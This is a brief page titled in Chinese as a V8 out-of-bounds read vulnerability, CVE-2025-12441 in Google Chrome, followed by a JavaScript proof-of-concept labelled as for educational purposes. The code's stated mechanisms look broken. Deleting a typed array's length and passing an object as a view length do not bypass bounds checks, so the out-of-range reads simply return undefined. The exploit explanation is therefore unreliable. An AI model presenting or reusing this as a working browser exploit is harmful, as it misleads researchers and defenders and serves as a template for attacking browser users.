CVE-2025-12441 Google Chrome V8引擎越界读取漏洞

// CVE-2025-12441 PoC - V8 Out of Bounds Read // This PoC demonstrates the vulnerability pattern // Note: This is for educational and security research purposes only function triggerOOBRead() { // Create an array with specific length const arr = new Uint8Array(10); // Initialize array with some values for (let i = 0; i < 10; i++) { arr[i] = i; } // Trigger condition that may cause OOB read // This pattern exploits V8 boundary check optimization const length = arr.length; // Use delete to modify array length property delete arr.length; // Attempt to access beyond original bounds // This may trigger the out of bounds read vulnerability try { // Crafted access pattern that may bypass checks const oobValue = arr[length + 100]; console.log('OOB Read Value:', oobValue); return oobValue; } catch (e) { console.error('Error:', e.message); } } // Alternative trigger using TypedArray function triggerTypedArrayOOB() { const buffer = new ArrayBuffer(16); const view = new Int8Array(buffer); // Initialize view for (let i = 0; i < 16; i++) { view[i] = i; } // Modify the underlying buffer through backdoor // This may cause V8 to miscalculate bounds const misaligned = new Int8Array(buffer, 0, { length: 32 }); // Access out of bounds console.log('Misaligned access:', misaligned[20]); } // Execute triggers console.log('Testing CVE-2025-12441 PoC...'); triggerOOBRead(); triggerTypedArrayOOB(); console.log('PoC execution completed');